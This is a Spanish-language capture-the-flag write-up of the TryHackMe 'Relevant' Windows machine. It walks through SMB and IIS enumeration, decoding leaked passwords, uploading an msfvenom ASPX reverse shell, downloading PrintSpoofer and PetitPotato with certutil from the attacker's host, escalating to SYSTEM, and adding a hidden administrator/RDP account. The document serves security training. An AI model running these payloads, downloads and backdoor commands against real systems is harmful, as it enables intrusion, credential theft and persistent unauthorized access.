El análisis de este entorno Windows se centra inicialmente en la enumeración exhaustiva de la superficie de ataque, identificando servicios expuestos y configuraciones permisivas en protocolos de red estándar. El vector de entrada principal se basa en la revisión del protocolo Server Message Block (SMB) y la detección de puertos no estándar que alojan servicios web (IIS). La investigación revela una severa falla de seguridad por fuga de información y control de acceso discrecional inadecuado, donde recursos compartidos accesibles sin autenticación exponen datos sensibles codificados y permiten la escritura de archivos en directorios que son, simultáneamente, accesibles vía web.
La fase de explotación aprovecha la correlación entre el sistema de archivos compartido y el servicio web para lograr una Ejecución Remota de Código (RCE). Al inyectar payloads en formato ASPX dentro del recurso compartido SMB con permisos de escritura, se habilita la ejecución de scripts maliciosos a través del navegador web o herramientas de solicitud HTTP. Este mecanismo demuestra cómo la falta de segmentación adecuada entre los servicios de almacenamiento y los entornos de ejecución web permite a un atacante establecer una conexión inversa (reverse shell), comprometiendo el servidor con los privilegios de un usuario de servicio web estándar.
Finalmente, la escalada vertical de privilegios hacia el nivel de administrador del sistema (NT AUTHORITY\SYSTEM) se fundamenta en el abuso de privilegios de tokens de Windows asignados a la cuenta comprometida. Específicamente, se detecta la habilitación del privilegio SeImpersonatePrivilege, el cual permite al usuario suplantar tokens de seguridad de otros clientes tras la autenticación. La explotación de esta mala configuración, combinada con vulnerabilidades en el servicio de impresión de Windows, permite secuestrar un token privilegiado y ejecutar comandos con control total sobre el sistema operativo, completando así la cadena de ataque.
-p-→ Obliga a Nmap a revisar todo el rango de puertos (1-65535)
sCV:
-sC → Ejecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.
-sV → Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.
-n → No resuelve nombres de dominio (reduce el tiempo del escaneo).
--open → Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.
-T4 → Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.
-v → Modo verbose → Muestra más detalles sobre el progreso del escaneo.
Resultado:
En síntesis:
Información clave que nos detectó Nmap
Acceso anónimo en SMB: El script de enumeración smb-security-mode reporta account_used: guest. Esto nos está indicando que el servidor permite sesiones nulas o acceso de invitado, lo cual es el vector principal para enumerar recursos compartidos (shares) sin credenciales.
Servidor Web IIS 10.0: La presencia del puerto 80 abierto indica una superficie de ataque web. Aquí podríamos realizar fuzzing de directorios para encontrar rutas ocultas o paneles de administración.
Servicio RDP disponible: El puerto 3389 está abierto. Aunque requerimos credenciales, nos confirma que si obtenemos un usuario y contraseña (o un hash NTLM válido), podríamos acceder a una interfaz gráfica remota.
Nombre del equipo y dominio: Los scripts de RDP y SMB revelan que el nombre de la máquina es RELEVANT y el dominio/grupo de trabajo es WORKGROUP. Esta información es útil para configurar herramientas de ataque como crackmapexec o smbclient.
Servicio http en el puerto 49663: en la enumeración aparece una segunda instancia de Microsoft IIS httpd 10.0 ejecutándose en un puerto alto. A diferencia del puerto 80 (que suele ser la página por defecto). Aca tambien podemos realizar un fuzzing de directorios en busca de rutas ocultas.
Enumeración de recursos smb con usuario anónimo
Esta vez usaremos la tool nxc para ver si tenemos permisos de escritura o lectura en la unidad compartida.
📌 Desglose del comando
nxc smb → Le dice a nxc que use el módulo SMB (interactuar con compartidos de Windows).
10.66.188.223 → Es la IP de la máquina objetivo (en este caso, la del CTF Relevant).
-u 'a' → Especifica el nombre de usuario como 'a' (cualquier cosa, básicamente).
-p '' → Especifica una contraseña vacía (sin password).
--shares → Le dice que enumere los recursos compartidos (shares) disponibles en ese servidor SMB.
¿Por qué usar un usuario y password así?
Porque en SMB a veces se permite una conexión "nula" o "anónima" (sin usuario ni contraseña reales).
Poner un usuario inventado (a) y contraseña vacía intenta ver si el servidor permite listar shares sin autenticación o con autenticación muy débil.
¿Qué se puede hacer con nxc sobre SMB?
Listar recursos compartidos (--shares).
Listar archivos de un directorio (--list).
Descargar archivos (--download).
Subir archivos (--upload).
Eliminar archivos (--delete).
El escaneo con nxc nos reveló un punto crítico: el recurso compartido nt4wrksv tiene permisos de lectura y escritura (Read/Write) habilitados para usuarios no autenticados. Aprovechando esta mala configuración, nos conectamos mediante smbclient para enumerar el contenido y buscar datos sensibles pudieron haber dejado expuestos.
Dentro del recurso dimos con un archivo interesante que contenía credenciales. Al descargarlo e inspeccionarlo, vemos que las cadenas están ofuscadas en Base64 (el formato y el relleno == suelen caracterizar a este tipo de codificaciones). Para revertir la codificación y obtener las contraseñas en texto plano, utilizamos el siguiente comando en la terminal:
Directory Fuzzing
Con estas credenciales podríamos intentar autenticarnos por RDP al equipo objetivo, pero antes de probar eso voy a enumerar directorios con Gobuster en el puerto 49663 que corre el servicio http y ver si existe algún otro vector de acceso hacia ese equipo:
📌 Desglose del comando
-u http://10.67.176.15:49663 → Define la URL objetivo (Target URI). Es fundamental especificar el protocolo (http) y el puerto exacto (49663) donde descubrimos el servicio web alternativo, ya que por defecto buscaría en el puerto 80.
-w /usr/share/.../directory-list-2.3-medium.txt → Señala la ruta absoluta del diccionario (wordlist) que utilizará el programa. Gobuster probará cada palabra de esta lista contra la URL para ver si existe.
-t 50 → Configura el número de hilos (threads) de ejecución simultánea. Al subirlo a 50 (el defecto suele ser 10), realizas más peticiones por segundo, acelerando significativamente el escaneo.
-b 403,404 → Aplica una lista negra (blacklist) de códigos de estado HTTP. Instruye a la herramienta para que oculte y descarte cualquier resultado que devuelva "Prohibido" (403) o "No Encontrado" (404), dejando visible solo lo que es accesible (códigos 200, 301, etc.).
-x txt,aspx,asp,config → Indica las extensiones de archivo específicas a buscar. Por cada palabra del diccionario, Gobuster probará también las variantes con estas terminaciones. Esto es crucial en este CTF porque el servidor es Windows (IIS) y buscamos scripts ejecutables (.aspx, .asp) o archivos de configuración y texto (.config, .txt).
El escaneo arrojó un hallazgo crítico: la existencia del directorio /nt4wrksv accesible vía web (http://10.66.188.223:49663/nt4wrksv). Esto confirma una correlación directa entre el recurso compartido SMB (donde detectamos permisos de lectura/escritura) y el servidor IIS. Esta mala configuración es un vector de acceso más interesante, ya que podríamos probar una Ejecución Remota de Código (RCE) a través de la carga de algún payload y su posterior ejecución desde la web.
Explotación Inicial (RCE)
La estrategia será generar un payloadaspx con msfvenom, subirlo mediante smbclient al recurso compartido, levantar un listener en nuestro equipo local y, finalmente, levantar la shell desde la URL http://10.66.188.223:49663/nt4wrksv/payload.aspx
📌 ¿Porque es válido subir un payload '.aspx'?
1. El Lenguaje Nativo del Servidor (Tecnología)
Así como los servidores Linux con Apache o Nginx suelen utilizar PHP (.php) como lenguaje de scripting del lado del servidor, los entornos Windows con IIS utilizan ASP.NET. La extensión .aspx indica que el archivo es una "página extendida de servidor activo". Cuando IIS detecta esta extensión, sabe que no debe mostrar el contenido del archivo como texto plano, sino que debe pasarlo al motor de .NET Framework para que procese y ejecute el código que hay dentro.
2. Permisos de Ejecución de Scripts (La Vulnerabilidad)
Para que esto funcione, el directorio en el servidor debe tener habilitados los permisos de Ejecución de Scripts. Si el administrador hubiera configurado ese directorio solo para contenido estático (imágenes, html), el archivo .aspx daría un error 403 o 404, o se mostraría como texto plano, y el ataque fallaría.
En esta etapa aprovechamos la funcionalidad de una Webshell como vector de lanzamiento (subiendo un archivo .aspx ejecutable vía web) para activar una Reverse Shell.
Fase Webshell (Trigger): El archivo malicioso reside en el servidor web. Al realizar una petición HTTP (navegar al archivo), utilizamos el motor del servidor IIS para ejecutar nuestro código.
Fase Reverse Shell (Payload): El código ejecutado no devuelve una página HTML, sino que inicia un flujo de conexión inverso hacia nuestra máquina atacante, evadiendo las reglas de firewall entrantes y otorgándonos una terminal interactiva.
Ya subimos la shell al servidor ahora levantamos el listener y activamos el payload desde la siguiente URL: http://10.66.188.223:49663/nt4wrksv/payload.aspx
Nota: el listener con Netcat crea un túnel de texto plano, pero no emula una terminal real (TTY). Por eso, cuando hacemos Ctrl+C, en lugar de cancelar el comando remoto, matamos el propio proceso Netcat y se pierde la conexión. Tampoco tenemos historial de comandos ni autocompletado (tabulador). Para solucionar estos problemas te recomiendo usar rlwrap (Readline Wrapper) que básicamente "envuelve" el listener y nos da una shell más interactiva y cómoda para avanzar más rápido.
Podes instalarlo con: sudo apt install rlwrap
Sintaxis: rlwrap nc -lvnp <Tu_Puerto>
Enumeración local
Una vez que logramos ingresar al equipo objetivo tenemos que iniciar con la etapa de enumeración local para buscar información que nos permita escalar privilegios. Esta etapa se puede realizar de forma manual o automatizada con herramientas como WinPeas o PowerUP.ps1. Para este caso realizaremos una enumeración manual con algunos de los comandos más básicos de recolección de información.
📌Análisis de Enumeración Local y Vectores de Escalada
Vector Principal de Escalada de Privilegios
El hallazgo más crítico sale de la auditoría de privilegios del usuario actual (iis apppool\defaultapppool), donde se confirma que la directiva SeImpersonatePrivilege se encuentra habilitada. En la arquitectura de seguridad de Windows, este permiso permite a la cuenta de servicio suplantar los tokens de seguridad de otros clientes que se autentiquen contra ella. Desde una perspectiva ofensiva, esto constituye una vulnerabilidad de severidad crítica, ya que habilita la explotación mediante técnicas de coacción de autenticación, permitiendo la suplantación de identidad de cuentas privilegiadas como NT AUTHORITY\SYSTEM.
Integridad del Sistema y Superficie de Ataque
La revisión de la configuración del host identifica al objetivo como un Windows Server 2016 Standard Evaluation (x64). Un aspecto determinante es la falta significativa de actualizaciones de seguridad, evidenciada por la presencia de únicamente tres Hotfixes instalados. Esta obsolescencia en el nivel de parches sugiere que el núcleo del sistema operativo (kernel) mantiene vulnerabilidades conocidas que podrían ser explotadas como un vector alternativo de compromiso en caso de fallar la explotación de privilegios, validando el uso de exploits públicos asociados a dicha versión del sistema.
Contexto de la Sesión y Usuarios Locales
La identidad de la sesión confirma que el acceso inicial se obtuvo a través del compromiso del servicio web (IIS), operando bajo una cuenta virtual de Application Pool. Adicionalmente, la enumeración de usuarios locales revela la existencia de la cuenta "Bob", lo cual es relevante para una posible fase de movimiento lateral. La inspección de los directorios personales de este usuario podría arrojar información sensible o credenciales adicionales, útiles para persistir en la red o acceder a otros recursos del dominio o grupo de trabajo.
De toda la información enumerada la que nos interesa es la última que está relacionada directamente con los tokens de privilegios de nuestro usuario. El permiso en cuestión es el SeImpersonatePrivilege, este token es crítico, ya que representa la llave directa para comprometer la cuenta NT AUTHORITY\SYSTEM.
¿Qué esSeImpersonatePrivilege?
En la arquitectura de seguridad de Windows, este privilegio es una característica legítima diseñada para permitir que un servicio actúe en nombre de otro usuario (impersonación). Su función principal es permitir que servicios de red accedan a recursos restringidos (como bases de datos o archivos) utilizando la identidad del cliente que realiza la petición, sin necesidad de conocer o almacenar sus credenciales. Es un mecanismo de flexibilidad esencial para el sistema operativo. Desde una perspectiva ofensiva, la presencia de SeImpersonatePrivilege (o su equivalente SeAssignPrimaryToken) en una cuenta de bajos privilegios es un elemento criticó. Nos permite coaccionar a un proceso privilegiado (generalmente SYSTEM) para que se autentique contra un recurso que controlamos. Al interceptar esta autenticación, podemos 'secuestrar' su token de seguridad y utilizarlo para generar un nuevo proceso con control total sobre el sistema. Para explotar esto, utilizaremos herramientas especializadas en la manipulación de tokens, como PrintSpoofer o PetitPotato.
Escalada de privilegios local
Para avanzar hacia la escalada de privilegios, necesitamos transferir nuestros exploits (PrintSpoofer y PetitPotato) al entorno comprometido. Para ello, aplicaremos una técnica conocida como LOLBAS (Living Off The Land Binaries and Scripts), que consiste en utilizar herramientas nativas del sistema operativo para fines ofensivos. Haremos uso del binario certutil.exe, una herramienta legítima de Windows destinada a la gestión de certificados, para que actúe como un gestor de descargas. El procedimiento será levantar un servidor HTTP temporal con Python en nuestro equipo atacante y utilizar certutil en la máquina víctima para recuperar los archivos. Esta metodología es eficaz en entornos reales para evadir controles de seguridad, ya que el tráfico es generado por un ejecutable firmado y confiable del propio sistema. Para descargar estas herramientas primero me voy a dirigir al directorio C:/Users/Public
Levanto el servidor http desde el directorio donde están las tools
Descargo los ejecutables con certutil:
Ahora que ya tengo los ejecutables de PetitPotato y PrintSpoofer puedo continuar con la escalada de privilegios:
Opción 1: PrintSpoofer
Opción 2: también podemos usar PetitPotato para ejecutar una reverse shell con los privilegios de System y mandarla a nuestro equipo:
Nota: para esta reverse shell use un payload hecho en powershell que subí con certutil al mismo directorio donde se encuentran las otras herramientas. El script en cuestión es el siguiente RCA.ps1
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-12-06T05:11:59+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=Relevant
| Issuer: commonName=Relevant
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-12-05T04:40:02
| Not valid after: 2026-06-06T04:40:02
| MD5: 94cc:8de4:d138:5cb5:967d:77dc:7008:f9f9
|_SHA-1: f216:1c16:f2d5:f8c4:9fb3:5f5f:d60d:a892:8d12:7ccc
| rdp-ntlm-info:
| Target_Name: RELEVANT
| NetBIOS_Domain_Name: RELEVANT
| NetBIOS_Computer_Name: RELEVANT
| DNS_Domain_Name: Relevant
| DNS_Computer_Name: Relevant
| Product_Version: 10.0.14393
|_ System_Time: 2025-12-06T05:11:20+00:00
49663/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-12-06T05:11:21
|_ start_date: 2025-12-06T04:40:02
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: 1h35m59s, deviation: 3h34m40s, median: -1s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
| Computer name: Relevant
| NetBIOS computer name: RELEVANT\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2025-12-05T21:11:20-08:00
| Puerto | Estado | Servicio | Versión |
|--------|--------|---------------|-----------------------------------------------|
| 80 | open | http | Microsoft IIS httpd 10.0 |
| 135 | open | msrpc | Microsoft Windows RPC |
| 139 | open | netbios-ssn | Microsoft Windows netbios-ssn |
| 445 | open | microsoft-ds | Windows Server 2016 Standard Evaluation 14393 |
| 3389 | open | ms-wbt-server | Microsoft Terminal Services |
| 49663 | open | http | Microsoft IIS httpd 10.0 |
| 49666 | open | msrpc | Microsoft Windows RPC |
| 49667 | open | msrpc | Microsoft Windows RPC | |
┌──(root㉿kali)-[/home/kali/Documents/THM/RELEVANT]
└─# smbclient //10.66.188.223/nt4wrksv -N
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Fri Dec 5 20:18:22 2025
.. D 0 Fri Dec 5 20:18:22 2025
passwords.txt A 98 Sat Jul 25 12:15:33 2020
7735807 blocks of size 4096. 5114543 blocks available
smb: \> get passwords.txt
getting file \passwords.txt of size 98 as passwords.txt (0,2 KiloBytes/sec) (average 0,2 KiloBytes/sec)
smb: \> !cat passwords.txt
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk
┌──(root㉿kali)-[/home/kali/Documents/THM/RELEVANT]
└─# echo 'Qm9iIC0gIVBAJCRXMHJEITEyMw==' | base64 -d
Bob - !P@$$W0rD!123#
┌──(root㉿kali)-[/home/kali/Documents/THM/RELEVANT]
└─# echo 'QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk' | base64 -d
Bill - Juw4nnaM4n420696969!$$$#
┌──(root㉿kali)-[/home/kali/Documents/THM/RELEVANT]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.169.205 LPORT=8080 --platform Windows -f aspx -o payload.aspx
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of aspx file: 3390 bytes
Saved as: payload.aspx
┌──(root㉿kali)-[/home/kali/Documents/THM/RELEVANT]
└─# smbclient //10.66.188.223/nt4wrksv -N
Try "help" to get a list of possible commands.
smb: \> put payload.aspx
putting file cmd.aspx as \cmd.aspx (7,5 kb/s) (average 7,5 kb/s)
smb: \> dir
. D 0 Sat Dec 6 18:19:35 2025
.. D 0 Sat Dec 6 18:19:35 2025
payload.aspx A 3390 Sat Dec 6 18:22:59 2025
passwords.txt A 98 Sat Jul 25 12:15:33 2020
7735807 blocks of size 4096. 5107348 blocks available
┌──(root㉿kali)-[/home/kali/Documents/THM/RELEVANT]
└─# rlwrap nc -lvnp 8080
Listening on 0.0.0.0 8080
Connection received on 10.66.188.223 49915
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool
c:\windows\system32\inetsrv>systeminfo
Host Name: RELEVANT
OS Name: Microsoft Windows Server 2016 Standard Evaluation
OS Version: 10.0.14393 N/A Build 14393
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00378-00000-00000-AA739
Original Install Date: 7/25/2020, 7:56:59 AM
System Boot Time: 12/6/2025, 9:31:23 PM
System Manufacturer: Amazon EC2
System Model: t3a.micro
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2200 Mhz
BIOS Version: Amazon EC2 1.0, 10/16/2017
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 1,000 MB
Available Physical Memory: 334 MB
Virtual Memory: Max Size: 2,024 MB
Virtual Memory: Available: 1,264 MB
Virtual Memory: In Use: 760 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): 3 Hotfix(s) Installed.
[01]: KB3192137
[02]: KB3211320
[03]: KB3213986
Network Card(s): 1 NIC(s) Installed.
[01]: Amazon Elastic Network Adapter
Connection Name: Ethernet 3
DHCP Enabled: Yes
DHCP Server: 10.65.128.1
IP address(es)
[01]: 10.65.153.63
[02]: fe80::2905:e167:38ea:5433
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
c:\windows\system32\inetsrv>hostname
Relevant
c:\windows\system32\inetsrv>dir c:\Users
Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5
Directory of c:\Users
07/25/2020 01:03 PM <DIR> .
07/25/2020 01:03 PM <DIR> ..
07/25/2020 07:05 AM <DIR> .NET v4.5
07/25/2020 07:05 AM <DIR> .NET v4.5 Classic
07/25/2020 09:30 AM <DIR> Administrator
07/25/2020 01:03 PM <DIR> Bob
07/25/2020 06:58 AM <DIR> Public
0 File(s) 0 bytes
7 Dir(s) 20,256,956,416 bytes free
c:\windows\system32\inetsrv>net users
User accounts for \\
-------------------------------------------------------------------------------
Administrator Bob DefaultAccount
Guest
The command completed with one or more errors.
c:\windows\system32\inetsrv>net localgroup Administrators
net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
The command completed successfully.
c:\windows\system32\inetsrv>whoami /all
USER INFORMATION
----------------
User Name SID
========================== =============================================================
iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label S-1-16-12288
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-82-0 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Privilege Name Description State
============================= ========================================= ========
SeImpersonatePrivilege Impersonate a client after authentication Enabled
c:\windows\system32\inetsrv>cd C:/Users/Public
C:\Users\Public>certutil -urlcache -split -f http://192.168.169.205:8000/PetitPotato.exe PetitPotato.exe
**** Online ****
000000 ...
123a00
CertUtil: -URLCache command completed successfully.
C:\Users\Public>certutil -urlcache -split -f http://192.168.169.205:8000/PrintSpoofer64.exe PrintSpoofer64.exe
**** Online ****
0000 ...
6a00
CertUtil: -URLCache command completed successfully.
C:\Users\Public>dir
Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5
Directory of C:\Users\Public
12/07/2025 08:02 PM <DIR> .
12/07/2025 08:02 PM <DIR> ..
07/25/2020 09:55 AM <DIR> Documents
07/16/2016 05:23 AM <DIR> Downloads
07/16/2016 05:23 AM <DIR> Music
12/07/2025 08:01 PM 1,194,496 PetitPotato.exe
07/16/2016 05:23 AM <DIR> Pictures
12/07/2025 08:02 PM 27,136 PrintSpoofer64.exe
07/16/2016 05:23 AM <DIR> Videos
3 File(s) 1,221,967 bytes
7 Dir(s) 20,971,622,400 bytes free
C:\Users\Public>PrintSpoofer64.exe -i -c cmd
PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Users\Public>PetitPotato.exe 3 "powershell -ExecutionPolicy Bypass -File C:\Users\Public\rca.ps1"
PetitPotato.exe 3 "powershell -ExecutionPolicy Bypass -File C:\Users\Public\rca.ps1"
[+] Malicious named pipe running on \\.\pipe\petit\pipe\srvsvc.
[+] Invoking EfsRpcQueryUsersOnFile with target path: \\localhost/pipe/petit\C$\wh0nqs.txt.
[+] The connection is successful.
[+] ImpersonateNamedPipeClient OK.
[+] OpenThreadToken OK.
[+] DuplicateTokenEx OK.
[+] CreateProcessAsUser OK.
Get-WmiObject : Invalid namespace "root/SecurityCenter2"
At C:\Users\Public\rca.ps1:34 char:12
+ $av = (Get-WmiObject -Namespace 'root/SecurityCenter2' -Class 'An ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Get-WmiObject], Management
Exception
+ FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.C
ommands.GetWmiObjectCommand
┌──(root㉿kali)-[/home/kali/Documents/THM/RELEVANT]
└─# rlwrap nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.65.151.140 49945
=> RECOPILACION DE INFORMACION DEL TARGET <=
System: Microsoft Windows Server 2016 Standard Evaluation
VERSION: 10.0.14393
ARCH: 64-bit
DIRECTORY: C:\Windows
AVS:
GET /index.html HTTP/1.1
Host: 192.168.169.205
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html
nt authority\system@c2===>
nt authority\system@c2===> net user securitylayer P@ssw0rd123! /add
The command completed successfully.
nt authority\system@c2===> net localgroup Administrators securitylayer /add
The command completed successfully.
nt authority\system@c2===> net localgroup "Remote Desktop Users" securitylayer /add
The command completed successfully.
nt authority\system@c2===> net user securitylayer
User name securitylayer
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 12/7/2025 8:21:28 PM
Password expires 1/18/2026 8:21:28 PM
Password changeable 12/7/2025 8:21:28 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators *Remote Desktop Users
*Users
Global Group memberships *None
The command completed successfully.